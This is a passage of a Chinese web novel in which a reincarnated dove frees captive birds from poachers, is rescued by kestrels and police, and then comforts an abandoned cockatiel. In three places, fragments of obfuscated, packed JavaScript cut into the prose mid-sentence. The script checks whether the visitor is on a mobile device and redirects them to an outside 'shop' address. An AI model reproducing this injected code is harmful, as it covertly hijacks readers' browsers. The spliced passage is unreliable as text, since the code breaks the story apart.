而这些鸟不知是不是听见了安澄和小玄凤的对话,竟然都没有因为恐慌或者惊喜发出太大的声音。 看着安静的众鸟,安澄心中甚至欣慰。“你们先在笼子口休息一下,我先去看看情况。一有不对你们就立马钻回去,用爪子抓住盖子盖上。” 众鸟看着他,乖巧地点头。 安澄越发满意,“孺子可教也。” 语罢,他轻落到地上,抬着爪子开始无声地疾跑,一双粉爪子跑出残影,不过一会儿就到了旧仓库的门边。 他探头探脑地凑到门缝上,用自己橙黄色的小眼睛去打量外面的情况。 现在已经是深夜,不开灯能看请的东西实际上很少,不过大门的不远处停了一辆银灰色的面包车,橙黄色的车灯开着,点亮了周围一片。 面包车的副驾驶上架了一双腿,看裤子是方才进来拍视频的男人。而车的不远处蹲了一个正在玩手机的人,低亮的屏幕光打在脸上,猩红的烟头在黑暗当中一闪一闪。 四周尽是茂密的树叶、葳蕤的野草,不见什么高大的建筑物、也听不见什么车笛声,安澄推断出这里应该是城市郊区。 看了几分钟,原先蹲在地上的男人忽然站了起来,伸着懒腰打了一个大大的哈欠。 借着微弱的光,安澄看见了那男人的运动鞋和牛仔裤。 是把他和小玄凤抓来的男人! 他记得面包车上那个啤酒肚叫他老三。 现在已知这是团伙作案,面前有两个人,而其中一个代称老三,那是不是可以推断出这个团队至少三人或三人以上? 安澄在心中盘算着,惊觉现在只有两个人看守的情况下,可能就是逃离的最好时机。 困倦的老三晃晃悠悠地往面包车后座走,趴在门缝上的安澄慢慢地挪动自己的步子去观察旧仓库大门的门锁。 14. 要被杀死了怎么办? 旧仓库和智能化的新仓库有很大的区别,前者的墙壁厚度、大门安全程度以及门锁的智能程度都远不及后者。 安澄没有参与设计过这一类的建筑,但因为学习有关于此的专业,因此也算是有一定的了解。 这些老式的仓库大多会选择使用插销挂板门闩,如果存放的不是什么特别珍贵的货物,通常情况下不会做多重防御。 所以按照这个旧式仓库的地理位置来推断,这个大门的门锁应该也不会太复杂。 安澄飞上去,门锁附近的内侧刚好有个不太大的凸起铁块,他把脸贴近缝隙去仔细观察外面,果不其然看见了一个模模糊糊的挂板门闩影子。 估计是因为那两个男人一直守在附近,因此没有在挂板上落锁。 观察清楚之后,安澄静悄悄地飞下,开始在旧仓库里四处寻找。 巡视了一圈,他终于在角落里面看见了一根从铁皮棚的架子上脱落的长铁丝,铁丝已经生锈,但并不妨碍使用。 “我可是看完了整整一千多集柯南的男人,了解各种各样的操控门锁、制造密室方法。”他嘴中低声念叨,用喙和爪子将铁丝的某一端掰出一个勾,又从中间把铁丝给垂直横折。“不要小看我和门锁之间的羁绊啊!” 锈迹蹭在脸上、羽毛被铁丝勾乱,安澄也没有在意,等形状弄得差不多之后,他便叼着往大门的方向走。 走了没几步,他突然想到什么,猛地回身看向还站在笼子上休息的一众鸟。 默不作声地将这些鸟一一看过,直到将他们的模样记在了心中,他才开口。“如果等下我把门打开了,那在开门的瞬间大家就一起往外面冲,冲出去之后就立刻散开,越分散越好,能逃走多少算多少。” “如果……如果门也没顺利打开,还吵醒了那两个人类,你们就赶紧回到笼子里,找准下一个时机再逃跑,别管我。” 反正他安澄也是死过一次的人了,再死一次其实也没有什么。 做过人也做过鸟,他的生命际遇已然十分精彩,也比绝大多数的生灵都要幸运,所以没有什么可遗憾的了。 “啾啾——” “嘎——” 一众鸟似乎都感知到了他的情绪,纷纷开始躁动,扑扇着翅膀准备向他而来。 “别别别!”安澄赶紧阻止,又看了几眼大门。“你们别出声,我就是那么一说,煽情一下。别担心,我们都会逃出去的!” 安抚好这群鸟,安澄便叼着铁丝开始往门的方向走,每一步都放得很轻,生怕吵醒门外的男人。 叼着铁丝重新飞上那个可以让他暂时停留的凸起后,他小心翼翼地把铁丝弯曲的那一端从门缝里塞出去,然后尝试勾住扣下的挂板。 鸟喙不比人手,实行这样的操作要困难很多,期间无数次都差点成功,然而又无数次和成功擦肩而过。 生锈的铁丝和喷漆的金属大门刮蹭,发出让人牙酸的刺耳声响,每一次都让安澄胆战心惊、心跳加速,心率过快到最后整只鸟都有些缺氧。 不过皇天不负苦心鸟,钩子还是稳稳地勾到了挂板的缝隙里。 接下来就是将那挂板给抬起推开了。 他抬起一只爪子配合喙操作,另外一只死死地抓着门上那一点点凸起,整只鸟都紧绷着。 又不知操作了多少次,安澄终于感受到了门闩的松动,他放缓呼吸,提着挂板慢慢地往旁移动。 “咔嚓”一声闷厚又粗糙的声响,门闩开了。 那一瞬间,安澄的脑袋几乎是一片空白,如鼓的心跳声震得他的耳孔都在疼。 愣了好几秒、深呼吸了好几下,他才重新找回自己的理智。 这门是向外开的,安澄放下叼在喙里的铁丝,重新落回到地面上。 他靠上门,脑袋、爪子、翅膀一齐用力,把这对于他这体型的鸟而言有些沉重的门往外顶。 可不知是门合页的特殊结构还是门外有风,不管他怎么努力,那门都只是微微敞开一条小缝,没办法完全打开。 操作了这么久,身上的体力也渐渐耗尽,就在他准备停下来歇一歇的时候,顶在脑袋上的门蓦地变轻了许多。 抬起脑袋往旁一看,发现原先在鸟笼旁休息的所有鸟都飞了过来,和他一起顶在门上,就连那只娇气又聒噪的小玄凤也在一边用力、一边嘿咻嘿咻地给自己打气。 “你们……”安澄眨了眨眼,心中有种说不出的感受。“真是的。” 面对帮助自己的恩鸟他们也会担忧、发现他力竭之后也会主动上前帮助。 动物怎么会没有感情呢?合作又怎么会只是生存的本能而已呢? 疲惫一扫而空,安澄又重新打起精神。 众鸟齐心,那扇喷漆的铁门在他们的努力之下慢慢地被推开,干净又清新的空气吹入浑浊的旧仓库,洗涤疲惫的鸟身。 可就在众鸟欣喜万分准备重回自然之际,他们的眼前突地出现一双脚,挡在了门口。 灰扑扑的男士运动鞋、老旧的牛仔裤,安澄看着这套熟悉的装扮,呼吸都停止了。 “这他爹的是怎么回事?”咒骂声混着难闻的烟味吐出,“那个死胖子,拍了鸟不把笼子给关好,我艹他大爷的……啊——” 安澄不知道自己在想什么,总之在老三还在骂骂咧咧的时候,他猛地扇动翅膀飞到了对方的脸上,抬着一双粉色的爪子去抓挠那张凶神恶煞的脸,直对着最脆弱的眼睛攻击。 “啊啊啊——” “你他爹的竟然敢抓我,我弄死你!!!” 一众鸟在这样的叫喊声众很快反应过来,扑扇着翅膀似乎也想加入战局。 然而一直在用余光观察面包车的安澄,发现躺在副驾驶的胖子已经隐隐有苏醒之意,于是他扯着嗓子大喊:“走,快走!” “等下另外一个人类醒了就走不掉了,快!!!” “飞得越远越好,去找林业局、去找警察来。” 生死存亡之际,还是有鸟在犹豫,在离开和留下来之间徘徊。 安澄说不出是什么滋味,心中既感动又着急。“我不会有事的,你们走了我才能走,快点!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806827|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们终于不再固执,就连十分倔强的小玄凤也一边哭、一边扇动起翅膀。 珠颈斑鸠毕竟只是一只斑鸠,杀伤力等方面和猛禽类的鸟还是不能比较。刚开始他还能趁老三不备去攻击,但在老三反应过来之后,他便很快地被擒住双腿,就连翅膀也被毫不怜惜地扯住。 “贱东西,老子他爹地弄死你!!!”说着,他生扯下一把安澄翅膀上的羽毛,羽根带着皮肉一起被拔下,血淋淋的一片。 “咕咕!!!咕咕咕!!!” 安澄疼到浑身抽搐、瞳孔失焦。 原来被拔羽毛这么疼、这么疼,以后他都不会再吃鸡翅了。 如果他还有以后的话…… “怎么回事?”面包车上的胖子终于醒来,意识到事情不对急急忙忙地下车。“鸟怎么飞出来了?” 一边问,他一边探头看向大开着门的仓库,看见里面空空乳液之后,面露惊慌。“剩下的鸟呢?” 老三扭头就吼:“你他大爷的,我还想问你呢!” “鸟他爹的都飞光了,现在就剩下这一只贱鸟了。” 胖子也慢慢地将视线放在了安澄的身上,两道目光似乎都要将这一只还在垂死挣扎的珠颈斑鸠给生吞活剐。 求生的本能让安澄还在反抗,但他的内心已经陷入绝望。 这次估计是真的要死了,人听不懂鸟语,也不能再像上次一样投机取巧地活下来。 可惜还没飞遍祖国的大好河山、可惜还没吃到夜市的烤鸡腿、可惜还没把好吃的薯条带回去给朱云深。 临死前还被他想起的朱云深,知道他死掉之后会有什么反应呢?会不会也有那么几秒钟为他感到难过呢? 安澄不知道,安澄不想死。 就在他的脖颈被老三掐住的那一瞬,就在安澄觉得自己真的快要窒息的那一刻,耳边突然又响起了翅膀扇动的声音。 “啊——什么东西?” “我艹了,哪来的这么多鸟?” “我的眼睛,我的眼睛!!!” 抓住安澄的手因为吃痛放开,将死的安澄却没有力气再扇动自己破烂的翅膀。 就在他以为自己要掉到地上的时候,突然被稳稳地捞在空中,一道熟悉的声音在耳边响起。“安澄,你现在感觉怎么样?” 是朱云深的声音。 朱云深来了吗?但他怎么能够找到这里的,是梦吧。 临死前能做到这样的梦也挺好的,起码是真的让人感到安心。 突然,那声音又说:“如果你真的死了,那我就不浪费,直接把你给吃了。” 不是梦!!! 只有货真价实的朱云深才能说出如此刻薄、冷血、无情、寡义的话。 半昏迷的安澄猛地睁开自己的眼睛,看向把自己带在半空的朱云深,中气十足地说:“我没死,我活着,别吃我,我还有利用价值。” 说完,又泄气般软趴趴地垂下脑袋,声音带上几分自己也没察觉到的哭意颤抖。 “但是大人,我好痛啊……” 15. 被摸脑袋了怎么办? 安澄再次睁开眼睛,发现受伤的翅膀已经包扎好、蓬乱的羽毛被打理得整齐、身上的脏污也被清理干净,整只鸟都陷在软乎乎的用布料做的窝里,周围的温度还十分舒适。 再看周围刷白的墙壁和明亮的灯光,他心跳一下就停止了。 他这还在人间吗?是死了还是和着?难道上天堂了? 直到下一秒,不远处响起几道熟悉的声音,安澄才将心放回了肚子里。 “嘎嘎嘎——好吃,好吃,还都是处理好的肉。”特殊于朱河的野鸭笑响彻整间房,还带着扑腾翅膀的声音。“被人类养的隼竟然这么幸福吗?都不用自己找食物,怪不得小斑鸠总想混到人类里面去呢。” 朱川哼笑,“那你留下来给他们当宠物?” “不行不行,我才不要被关在笼子里。”朱树吃肉吃得喙啪嗒啪嗒的响,“猛禽和斑鸠怎么能一样呢?” 深陷美食蛊惑的朱河终于想起了安澄这只鸟,“哦对了,小斑鸠醒了吗?我去看看。” 朱河扑扇几下翅膀飞到给安澄做的临时安置小窝前,安澄也刚好再此时抬头去看,于是两鸟就这样黑眼对橙眼地对视上了。 “kakaka——醒了醒了。”朱河扭头往身后喊,“阿深,你养的斑鸠醒来了,快来看。” 听到这个名字,安澄不自觉地坐直了些,还把自己破烂的翅膀往身后藏了藏。 朱河这一嗓子下去把房间内其他的隼都吸引了过来,他们纷纷扑扇翅膀要过来看,然而还没靠近,房间的门就被打开,从外面急匆匆地进来一个穿着制服的女警。 “诶诶诶,这不是你们的食物,别吃别吃。”她将安澄连窝带鸟一块轻轻地捧起往房间外走,与一众隼拉开了距离。“叫他们做些事这么粗心,竟然把红隼和珠颈斑鸠放在一起,还好听见了声音没发生意外。” 朱河落在就近的架子上,伸着脖子大笑。“嘎嘎嘎,这个雌性人类以为我们要吃掉他!” 其他的隼也没了动作,唯独朱云深还扇着翅膀跟在安澄的身边,甚至趁她不备跟出了房间。 “大人。”安澄没忍住小声地叫了几句。 “诶,怎么跟出来了?”女警伸手虚虚地盖在安澄的身上,“小可怜,都被吓得咕咕叫了。” 安澄:不是害怕啦。 虽然知道女警是好意,但毕竟朱云深是他顶头大boss,决定着他未来的日子如何,还是不好这样继续冷落他。 于是安澄努力地把自己圆圆的脑袋从女警的手中钻出去,把相较而言没那么难看的那只翅膀也伸了出去,努力地够向飞在空中的朱云深。 朱云深缓缓靠近,伸出爪子在安澄的脑袋上碰了一下。“还痛吗?” 这是在回应他昏迷前说的那句话吗? 安澄的心颤了颤,被碰到的地方生出一种非常奇怪的感觉,好像还残留着被触碰的温度,有些麻、有些痒。 “不,不痛了……”他摇了摇脑袋。 “多亏了大人你英明神武、从天而降、威武霸气,救我于生死攸关的时刻,我才能保住一条鸟命。”他这人只要一紧张,话就会不自觉地变得多,到最后自己也不知道在说些什么。“我的救命恩鸟是一个盖世英雄,有一天他会在一个万众瞩目的情况下从天而降,身披红色羽毛,爪踏七彩祥云来救我……” 通常情况下朱云深对他的废话有一定的忍耐限度,在超出这个限度之后便会不耐烦地喊停。 但这次不知是念在他受伤了还是什么,竟然一直默默地听着,没有打断。 他们对话的具体内容人类不知,在女警和周围的警察的耳中,唯一能听见的只是安澄的咕咕叫声。 两鸟名声在外,不少人都知道珠颈斑鸠是红隼食谱钟的一员,能有这样和谐共处的场景也确实是一种奇观,于是周围不少的警察都被吸引了过来。 “哟,一只红隼和一只珠颈斑鸠在唠嗑呢,不是说珠颈斑鸠是红隼最好吃的朋友吗?” “这你就不懂了吧,这斑鸠就是这群红隼救下来的。”其中一个参与了出警的警察插了话。“我们到现场的时候,那个男的还一直叫着要把这只珠颈斑鸠杀了下酒,就是这只红隼一直保护着他呢。” 又有另一警察插了话,“说起来,我们会发现这几个盗猎的人,不就是这群红隼给安姐带的路吗?” “嘿。”最早的开腔的警察又开了口,“这些鸟还挺有灵性的。” 抱着安澄的女警也开了口,“何止是有灵性,据那两个嫌犯交待,他们原本是把鸟关在笼子放在仓库里的,是这只珠颈斑鸠带着其他的鸟一起逃出来的。” “那其他的鸟呢?” “我们去的时候都不在了,估计是这只小斑鸠舍身就义让那些鸟先逃了。”女警将安澄放在桌上,轻揉地抚摸安澄的圆脑袋,将羽毛扫得顺滑。“我们的小咕咕是勇敢的鸟英雄呢。” 原本还在走神的安澄,听见关键词之后注意力立马被吸引走。 他撑着自己的身体站了起来,挺起毛茸茸的胸脯,把脑袋抬得高高的。 没错,他就是那个救鸟英雄。 “哎呀,哎呀,他听懂了,骄傲着呢。”女警抚上他身上的羽毛。“太可爱了吧。” 安澄不满地用自己的脑袋顶顶女警的掌心。 “咕咕,咕咕咕!” 不能夸可爱,要夸英勇帅气! “我们给小咕咕拍个视频吧,刚好宣传的任务还没做。”一警察看着掏出了手机,一边低头捣鼓一边念叨,“现在的盗猎也太猖獗了一些,我看那人手机里面还有国家一级的视频,如果不是这只小咕咕,估计都得上餐桌,最近得严打了。” 安澄当然没意见,他直接转了个身对准拿着手机的警员,站得更直了一些。 像他这样的帅鸟事迹就应该广而告之,让所有的人类来欣赏他的英姿! 忽然想起什么,他往旁边挪了挪,留出一块空地来。“大人大人,你来这里,我们一起上电视。” 朱云深没说话。 “来嘛来嘛来嘛~”劫后余生的安澄胆子大了不少,开始不依不挠。“帅鸟是共同财产,我怎么能够独占呢?让所有人都见识一下大人你伟岸的英姿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806828|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且我想和大人你一起拍!” 像是拿他的聒噪一点办法也没有,朱云深深深地看了他一眼,最后还是落到了用布料搭成的简易小窝里面。 时隔十多个小时,两只鸟终于又有了近距离的接触,感受到身旁隼高热体温的安澄,此时此刻终于有了一种一切都过去了、尘埃落定的实感。 他不自觉地往朱云深的方向走近一些,用自己的翅膀尖尖去碰对方的身体。 “大人,我本来给你带了好吃的薯条的,但因为那几个人类把我抓走了,所以不见了。”说着,他的心中又生出了一些愤怒,那可是他被流浪猫追了那么久,才好不容易找到的薯条。“真的很好吃的。” 朱云深偏头看了他一眼,又很快地将头转回去。“没事,食物没了还可以再找。” 莫名的,安澄觉得朱云深这句话没说全,似乎还应该有后半句。 但对方没继续说下去,他也没再问。 那边的拍摄已经开始,警员互相采访总结了重点后,便将镜头对准了安澄。 “现在,让我们来采访一下当事鸟。” 安澄立刻进入状态,他挺起自己的毛茸茸的胸脯,一双橙黄色的眼睛盯着镜头。“咕咕,咕咕咕……” 没错,是我,我就是那个从盗猎者手中拯救了一大批鸟的珠颈斑鸠。 他举起自己被包得严严实实的翅膀尖尖,怼到镜头前面。“咕咕,咕咕咕……” 那恶贼死不悔改拔了几根我的羽毛,但我鸟大王又岂能容许他放肆?说时迟那时快,我猛地抓瞎了他的双眼,他被我打得跪地求饶,高声哭喊着“鸟爷爷,放过我。我再也不敢了”,我才饶了他的一条小命。 说完,安澄展开另外一只翅膀,胆大包天地搭在朱云深的身上。“咕咕,咕咕咕……” 当然,还得感谢我的大人朱云深朱同志,有组织有纪律有觉悟,带着警察同志们将坏人给绳之以法了。 觉悟高的朱同志偏头看向一直咕咕个不停的安澄,盯了一会儿后突然展开羽翼将这只话痨的珠颈斑鸠给拢在了翅下。 “安澄,你的话怎么这么多?” 早已有了朱云深应对技巧的安澄不觉半点慌张,他把脑袋从隼的翅膀下面探出来,用圆溜溜的眼睛看着高大的红隼。“因为大人你在身边呀,被坏人捉走的时候,我说的话两只翅膀都数得过来。” 毕竟他在朱云深面前聒噪最多只是被凶两句,在那几个盗猎者面前聒噪,那是真的会没命。 闻言,朱云深一顿,慢慢地收回了翅膀,没再说话。 “事实证明,珠颈斑鸠确实是红隼最好的朋友。”一众警员看着两鸟互动的场景,笑着解说。 而就在他们准备最后总结一番结束拍摄时,警局的玻璃忽然被拍响了。 人与镜头一起转向声音的来源,发现窗外竟然是一群扑扇着翅膀飞翔的鸟,他们盘旋在警局上空,发出各类或清脆或完全或特殊的鸣叫,其中不乏珍稀少见的国家一级。 眼尖的警察一眼分析出这些鸟的来意,“哟,被我们小咕咕救下的鸟来报恩了。” 16. 找不到爸爸了怎么办? 站在窗口旁的民警犹豫几番还是将窗户打开,窗外的鸟雀便在那一瞬顺着窗口飞了进来,直朝着站在桌上的安澄而去。 为首的是那只小玄凤,他直愣愣地扑到安澄的身上,扯开嗓子开始大哭。“呜呜呜,我还以为你死掉了,吓死我了……你不要有事呀!!!” 其余的鸟也慢慢围了过来,一鸟一句地开始询问他现在的状态,更有甚鸟直接对安澄动起了翅爪。 “你没事儿吧?” “谢谢你救了我们。” “你受伤了!” “这些人类应该不是大坏蛋吧?” 安澄被团团围住,鸟类暖烘烘的体温险些将他热出汗来。 “我没事。”他努力地抬起自己受伤的翅膀,不让热情的众鸟对自己造成二次伤害。“坏人已经被抓起来,我们不会再被吃掉了,大家可以放心了。当然,大家以后也还是要小心的。” 毕竟盗猎者不在少数,不少人会为了满足口腹之欲会知法犯法、因而也有不少人会为了利益铤而走险。 他喘了几口气,看着把自己胸脯羽毛都打湿了的小玄凤。“你找到你爸爸了吗?” 闻言,小玄凤猛地一顿,哭得更加伤心了。 “哇呜呜呜——找不到爸爸,找不到……不记得家在哪里了。” “怎么办呀?大斑鸠,怎么办呀?” “爸爸没有我肯定也会非常伤心的……” “别哭了别哭了。”安澄被吵得头都大了,“哎哟,这就是鹦鹉的威力吗!你稍微安静一点,你这样我都没办法说话了。” 正吐槽着小玄凤的聒噪,他转头就正对上旁边朱云深若有深意的眼神,那双黑色的鸟瞳中正似有若无地暗示着些什么。 “干嘛?”安澄脖子一梗、胸脯一挺,小声地说:“我和他又不一样,我可是很文雅恬静的一只淑鸟!” 朱云深听见了没有安澄不知道,但围在他身边的鸟确实是听见了,连这两个词意思是什么都没弄懂就开始跟着起哄。 “淑鸟!” “淑鸟!” “淑鸟!” 各种鸟叫声有节奏的混杂在一起。 这副鸟类大和谐的奇观把周围的警员看得啧啧称奇,那录制视频的手机也一直没有停下。 安澄思考了一会儿,用脑袋顶着小玄凤挤出了鸟圈,主动走到镜头面前。 “咕咕,咕咕咕……” 你们谁家的鹦鹉丢了,快点来认领,古有孟姜女哭长城、今有小玄凤哭父亲,别让他的泪水把警局给淹了。 说完,他又用翅膀尖尖推着小玄凤慢慢地转了一圈,甚至还抬着他的小爪子在镜头面前晃了晃,三百六十度无死角地展示。 快看!这只小玄凤长这样! “哟,这是啥意思啊? ”其中一个警员隔着一段距离虚空地碰了碰小玄凤,“在展示给大家看吗?” “应该不是吧,这好像是只玄凤鹦鹉?”另一个警员摸着下巴,凑近细细地打量。“一般都当作宠物来养的,会不会谁家的宠物被那几个盗猎的一起抓走了?” 一旦生出了新的话题,就会引得更多人加入,一时之间,众人都将注意力都放在了小玄凤的身上。 “很有可能,感觉小咕咕刚刚就是在做标准的展示。”女警凑过来,用指头轻轻地抚弄安澄圆乎乎的小脑袋。“我们的小咕咕可真聪明啊,怎么什么都知道啊!” 安澄伸长着脑袋,鸣管里发出舒服的哼声。 那是当然,他可是全天底下最聪明的珠颈斑鸠,会筑巢、会撬锁、会打怪,别无二家。 女警被他这副模样逗得笑出了声,周围的警察也面带笑意。 “来来来,再给这只玄凤拍一个寻主启事。” “剩下的鸟也都给处理一下吧,我看他们身上各有各的伤,也不知道是怎么被抓到的,还有几只是国家一级呢,真是造孽。” 野生的动物都有野性,鸟也不例外,但不知是出于对安澄的信任,一众的鸟竟然毫无反抗地让工作人员抱着去处理伤口。 然而想要应付一群鸟,可不是处理完伤口便可以结束的,几位警察直到后来才意识到这一点。 这些鸟祖宗,有些身价高到围观他们互殴的人都要被抓进去蹲几天,这些警察赶不得怨不得,只能好吃好喝地伺候着,储备食物不够,连忙派人去外面进吃的来。 水果和肉块大袋大袋地往警局里送,一众鸟在舒适的空调房中美滋滋地捧着新鲜的食物享受,颇有几分岁月静好。 安澄亦是如此。 他啄了一口殷红的樱桃,被果肉甜到浑身的绒羽都舒爽地展开。 左右环顾一圈后,安澄快速地伸爪在袋子里摸了一个,偷偷摸摸地飞到正在吃肉的朱云深身边。 “大人,大人,这个好吃,你也吃一个。”说着,他谄媚地抓着樱桃在自己胸脯的软羽上擦了擦,“我特地给你拿的,能和国家一级抢食物的机会可不多。”希望你看在我这么舔的份上,以后对我更好一点,别再动不动就威胁我要把我吃掉。 后半句他没说,只是用殷切的目光看着朱云深。 朱云深盯着他软乎乎的胸脯看了好一会儿,最后还是余尊降贵地垂下脑袋用喙啄了一下。“嗯,不错,剩下的……” 他本想说剩下的待会儿再吃,毕竟食肉类的猛禽并不太习惯于吃这些水果谷物。 可这只笨到不行的珠颈斑鸠不知道将他的话理解成了什么,竟然就着他刚刚啄过的地方,两三口就把剩下的樱桃给吞入腹中。 吃完还自认为十分体贴地说:“没事儿,我知道你们不太吃,剩下我的帮你解决了!” 朱云深:…… === 当代网络的传播速度不可估量,视频一经剪辑发布到平台上,就引起了轩然大波,案件内容不是主要,最让网友关注的还是视频中的主角鸟。 【宿敌就是宿敌,宿敌是不可以变成……】 【我想我真的该睡了,竟然看到了珠颈斑鸠和红隼和平相处。】 【好可怜的鸟啊,翅膀都被拔秃了。】 【不是,真的欠那一两口吃的吗?吃了这些鸟是会长寿还是壮·阳啊?】 【好可爱的咕咕,这么可爱的咕咕就是要被妈妈亲死的,么么么么!!!】 【好像我在M记遇见的那一只。】 【等等,那只玄凤我好像见过,我记得我同事家的那只眼角也有个小红点。】 淹没在众多评论中的关于小玄凤的信息,还是被眼尖的警察发现了。“好像有玄凤主人的信息了,我去私聊一下。” 原先在一旁休息的安澄,听见关键词之后倏地伸长脖颈。“小玄凤,好像有你爸爸的消息了!” “真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806829|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”原本昏昏欲睡的小玄凤一瞬就变得振奋,立刻扑扇着翅膀飞到女警的肩上站着。“我的爸爸要来接我了吗?” 安澄向来喜欢凑热闹,他按捺不住性子也飞了过去。 然而正正好好地看到了屏幕上弹出的信息: 【确认了,是我同事的鸟,但是……】 【emm……他说不要了。】 看不懂字的小玄凤蹦了蹦,把脑袋往安澄的方向凑,“怎么样?怎么样?爸爸有说什么时候来接我吗?” 安澄欲言又止,一众围观着的警察也在沉默着。 人也好、鸟也罢,都不知道该如何回应这只充满着期待的玄凤鹦鹉。 “是还没有说吗?没关系的,我可以等的。”小玄凤神色如常地叫了几声。 然而兀自哄了自己一会儿,不知道是终于从凝滞的氛围中察觉到了什么,还是再也装不下去了,他突然扇着翅膀飞到窗台上,把自己缩在小小的角落里面。 可嘴中还在不停地念念叨叨着,“爸爸现在肯定在忙着工作,或者忙着哄小宝宝,等他不忙了,就会来接我了……” “我要乖乖地等他,不能睡觉不能吃东西不能去跟别的鸟玩耍,不然就会错过来接我的爸爸。” 安澄实在是看不得小玄凤这样,走过去啄了啄他的脑袋,几番思索后犹豫着开口,“其实……世界这么大,你可以多去外面看看……我的意思是,我们不必纠结于一个人,这个世界上还有很多的人……哎呀,总之……” 他一句话还没说顺,小玄凤突然情绪爆发般打断了他的话。“其实我知道,其实我都知道的!” 小玄凤伸着脖子大哭,清脆的鸣叫中徒然生出几分凄厉来。 “我和爸爸根本就不是分散了,他也根本就不会来找我了,因为我是被被爸爸丢掉的。” “我都知道的……” “他生了小宝宝,怕我会伤害小宝宝,所以就不要我了,可是我怎么会伤害爸爸的宝宝呢……”小小的身体一边哭一边颤抖,脸颊上的红晕都变得黯淡。“他们还都觉得我身上带着很脏很脏的病,会把小宝宝也弄生病,我没有的……” “我爱很干净的,从来都不会把家里弄得乱糟糟,一直都在鸟笼里面上厕所,我真的很干净的!” “为什么小鸟不可以变成人呢?为什么小鸟不可以成为人类的宝宝呢?”小玄凤一边哭,一边拔自己胸前的羽毛,又把喙和爪子往玻璃上撞。“我不想要这些羽毛,不想要爪子和这样的嘴巴,我讨厌自己是这个样子的!!!” 不过一会儿,小玄凤就将自己弄得浑身是伤,沾着血的羽毛坠了一地。 “小玄凤,小玄凤!”安澄迟迟地反应过来,猛地扑了过去,将这只鹦鹉拢在翅下。“不要这样,不是你的错,不是你的错。” 安澄恨自己平时话多,到了最紧要的时刻却只能重复这几句苍白的话。 “小鸟为什么不可以像人一样说话呢?”小玄凤看着安澄,原本泛着光的鸟瞳已剩下一片绝望的黯淡。“如果我能告诉爸爸有我多爱他,如果我能告诉爸爸我会很乖,是不是就不会这样了?” “我是一只被人丢掉的,不被喜欢的小鸟……” 能开口的人吐出无情无义的话,开不了口的鸟却满腔赤诚。 小玄凤在绝望之中发出凄厉的一声鸣叫,而后生生吐出一口血来。 17. 溜出去被抓现行了怎么办? 场面已经完全失控,安澄现在说什么小玄凤都听不见去,而最要紧的还是小玄凤身上被自己弄出来的伤。 幸而一旁守着的女警发现了不对劲之处,立刻小跑过来将小玄凤捧在掌心,手虚虚地盖在玄凤的脑袋上。“小鹦鹉,怎么了?怎么突然就这样了?” 知道鹦鹉不会说话,她也没要打算个回答,立马转头看向其他的人。“宠物医院这个点还开着门的吗?” “开着的。” 得到了肯定的回答,女警二话不说地带着小玄凤出了门。 安澄下意识地想要跟上去,可又怕会给他们造成什么麻烦,便偃旗息鼓留在了警局内。 “那鹦鹉挺通人性的,估计是察觉到氛围不对劲了,知道自己被抛弃了。”留在局里的警员无不摇头叹息,“怎么现在什么样的人都有呢,真是不负责。” 这边还在感慨着,那边捧着手机的一直在关注视频动态的警察却忽然惊呼,“诶,评论区有人找出了小鹦鹉主人的账号。” “这怎么找到的?”众人惊奇,纷纷围了过去。 安澄几乎没有做思考,也扇着翅膀凑到了手机跟前,把自己圆圆的脑袋挤进了人堆里。 运营账号的警员解释道:“回复我们的那个用户主页发过一些视频,有一个是很早之前在鹦鹉园拍的,然后小鹦鹉的主人在评论区回复了一张小鹦鹉的照片,大家拿着照片和我们的视频一对比,确定了这个账号的身份。 “现在这个主人的账号已经被攻陷了,因为大家发现他的视频拍摄重心从小鹦鹉变成了小婴儿,家里也没了鹦鹉生活的痕迹。之前也有人问过小鹦鹉的去向,他的回复就是不养了。不用细说,网友自然而然明白了所有事情。 “总之,他这个弃养的行为引发了众怒,甚至已经把家庭住址都扒了出来,住得还挺近,离我们警局只有几站远。” “喔~”几个警察你看我我看你,都没在彼此的脸上看到同情和不忍,但出于职业操守和素养,还是没就此评论更多,只说:“不过这行为还是不太好的,发生在我们的评论区就还是稍微劝一劝,至于……” 至于什么,大家都默契地没明说。 安澄没发出任何声音,他睁着橙黄色的眼睛紧盯着屏幕看,将网友扒出的那些信息一个字一个字地刻在了心里。 警察返回在评论区编辑完劝架的话,在点回那个账号的主页时,发现已是空空如也,“嘿,这男的手速挺快,把视频都删了。” 不过几秒后,又显示此账号已经成为一个私密账号。 安澄沉默地扇着翅膀回到自己的小窝处。 哦,现在已经成为了朱云深的小窝,他得了殊荣能够沾了一个窝的布料边边。 换做往常,安澄还会暗自在心中吐槽几番,但现在他已经全然失去了这样的兴致,只顾自己趴着沉思。 